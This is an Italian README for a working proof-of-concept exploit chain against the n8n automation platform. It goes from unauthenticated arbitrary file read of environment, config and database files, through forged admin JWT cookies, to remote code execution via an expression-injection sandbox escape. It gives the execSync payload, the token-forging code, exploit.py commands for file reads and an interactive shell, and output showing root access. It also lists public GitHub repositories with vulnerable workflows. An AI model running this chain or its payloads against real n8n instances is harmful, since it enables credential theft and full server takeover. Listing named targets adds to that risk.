
n8n Ni8mare - Catena da lettura arbitraria di file non autenticata a RCE (CVSS 10.0)
Lettura arbitraria di file non autenticata → Forgiatura token admin → Bypass sandbox → RCE
| CVE | CVE-2026-21858 (AFR) + CVE-2025-68613 (RCE) |
| CVSS | 10.0 + 9.9 (Critico) |
| Interessate | <= 1.65.0 (AFR) / >= 0.211.0 (RCE) |
| Corretta | 1.121.0 (AFR) / 1.120.4+ (RCE) |
| Divulgata | 2026-01-07 11:09 UTC |
| Nome in codice | Ni8mare |
| Crediti | Dor Attias (Cyera) |
| Exploit | Chocapikk |
| Processo | Automatizzato con IA: diff della patch → riproduzione → laboratorio → exploit (~9 ore dopo la divulgazione) |
| Tipo | Proof of Concept - NON un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni) |
Catena RCE completa non autenticata su n8n:
L'esposizione è basata sulla versione: in pratica, esistono istanze n8n vulnerabili accessibili pubblicamente.
Risultati LeakIX: Visualizza le istanze esposte
Questo exploit è stato sviluppato indipendentemente dall'analisi di Cyera (scoperta dopo il completamento). Differenze principali:
Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera richiede chat + integrazione IA, questo exploit richiede un form con nodo Respond. Vedi Limitazioni per i dettagli.
┌───────────────────────────────────────────────────────────┐
│ UNAUTHENTICATED │
├───────────────────────────────────────────────────────────┤
│ 1. Read /proc/self/environ → Find HOME directory │
│ 2. Read $HOME/.n8n/config → Get encryptionKey │
│ 3. Read $HOME/.n8n/database.sqlite → Get admin creds │
├───────────────────────────────────────────────────────────┤
│ TOKEN FORGE │
├───────────────────────────────────────────────────────────┤
│ 4. Derive JWT secret from encryptionKey │
│ 5. Forge admin session cookie │
├───────────────────────────────────────────────────────────┤
│ AUTHENTICATED RCE │
├───────────────────────────────────────────────────────────┤
│ 6. Create workflow with expression injection │
│ 7. Sandbox bypass via this.process.mainModule.require │
│ 8. Execute arbitrary commands │
└───────────────────────────────────────────────────────────┘
commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date: Thu Nov 13 11:51:40 2025 +0100
Merge commit from fork
La leggendaria "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️
// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)
// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');
Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.
n8n mette in sandbox il codice utente (Code Node, espressioni) usando vm2/isolated-vm. Altri vettori RCE:
| Tecnica | Stato |
|---|---|
| Nodo Execute Command | Disabilitato di default (N8N_ALLOW_EXEC_COMMAND=false) |
Ho usato l'iniezione di espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo o configurazione speciale richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il Python Code Node che potrebbe non essere disponibile su tutte le istanze.
={{ (function() {
var require = this.process.mainModule.require;
var execSync = require("child_process").execSync;
return execSync("id").toString();
})() }}
Le espressioni di n8n hanno accesso a this.process.mainModule.require → escape completo dalla sandbox.
# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()
# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]
# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")
docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!
# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd
# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"
# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form
╔═══════════════════════════════════════════════════════════════╗
║ CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain ║
║ Arbitrary File Read → Token Forge → Sandbox Bypass → RCE ║
╚═══════════════════════════════════════════════════════════════╝
[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK
uid=0(root) gid=0(root) groups=0(root)
Questo NON è un exploit "pwn any n8n". Richiede condizioni specifiche per funzionare:
| Requisito | Descrizione |
|---|---|
| Form con caricamento file |
Esempio di configurazione di workflow vulnerabile:
{
"nodes": [
{
"name": "Form Trigger",
"type": "n8n-nodes-base.formTrigger",
"parameters": {
"responseMode": "responseNode",
"formFields": {
"values": [{ "fieldLabel": "document", "fieldType": "file" }]
}
}
},
{
"name": "Respond",
"type": "n8n-nodes-base.respondToWebhook",
"parameters": {
"respondWith": "binary",
"inputDataFieldName": "document"
}
}
],
"connections": {
"Form Trigger": { "main": [[{ "node": "Respond" }]] }
}
}
Gli elementi chiave sono: fieldType: "file" + respondWith: "binary". Questo schema è comune nei workflow di elaborazione file (convertitori, ridimensionatori di immagini, processori di documenti).
Funziona con:
Non funziona con:
Nota: La vulnerabilità (lettura arbitraria di file) viene attivata indipendentemente dal metodo di esfiltrazione. Il nodo Respond è solo un modo per recuperare il contenuto. Metodi alternativi (OOB, altri nodi di output) potrebbero funzionare a seconda della configurazione del workflow.
Sfruttamento cieco: Se non esiste un nodo respond, il file viene comunque letto da n8n ma non può essere esfiltrato tramite risposta HTTP. Sarebbero necessarie tecniche alternative (OOB, timing).
Lo schema vulnerabile (Form Trigger + caricamento file + Respond to Webhook) esiste in repository GitHub pubblici.
Nota: I repository di workflow n8n più popolari (>100⭐) non usano questo schema. Si tratta di progetti comunitari/personali:
Questi sono workflow contribuiti dalla community. Nessun modello ufficiale n8n.io usa questo schema vulnerabile.
| Cyera (Ricerca originale) | Questo exploit |
|---|
| Lettura file | Caricamento nella knowledge base IA → interrogazione tramite chat | Risposta HTTP diretta |
| Prerequisiti | Workflow chat + integrazione IA | Qualsiasi form con caricamento file |
| Metodo RCE | Nodo "Execute Command" (disabilitato di default) | Iniezione di espressioni (funziona su installazioni predefinite) |
| Automazione | Dimostrazione manuale/concettuale | Script Python completamente automatizzato |
| Nodi SSH/HTTP | Eseguono su server remoti, non sull'host n8n |
| Escape sandbox Pyodide | CVE-2025-68668 - richiede il Python Code Node |
| Iniezione di espressioni | CVE-2025-68613 - funziona su installazioni predefinite |
| Il target deve avere un workflow di form con un campo di caricamento file |
| Nodo Respond to Webhook | Il workflow deve restituire il contenuto del file nella risposta HTTP |
| Workflow attivo | Il workflow del form deve essere attivato |
| Accesso non autenticato | Il form deve essere accessibile pubblicamente (senza autenticazione) |
| File del workflow | Campi file | respondWith |
|---|
| ifcpipeline/.../ifcpipeline.json | IDS, IFC (x2) | binary ⚠️ |
| nano-banana-studio/.../03_multi_asset_processor.json | Immagini, Audio, Markdown | json |
| ticket-omnichannel-chat/.../Knowledge_base.json | Documento (PDF) | text |
| ai_resume_project/resume_rag.json | Caricamento file | allIncomingItems |
| fkgpt-portfolio/.../audio-transcription-analysis.json | File audio | text |
| n8n-backup/.../K3DwHQs0fnnm5UK0.json | file | text |
| voltixLandingPage/.../chatbotvoltix.json | Carica file | default |
| n8n-backup-zm/.../Ky1AiuIMbY1zoTLE.json | file | default |
| 8n8Workflows/.../3WoSqiBnZ56RtWMb.json | Carica il tuo documento | default |
| learn_earn_ai_insta/.../My workflow.json | carica il tuo file | default |
| finintworkshop/.../API using n8n (ToT).json | file | json |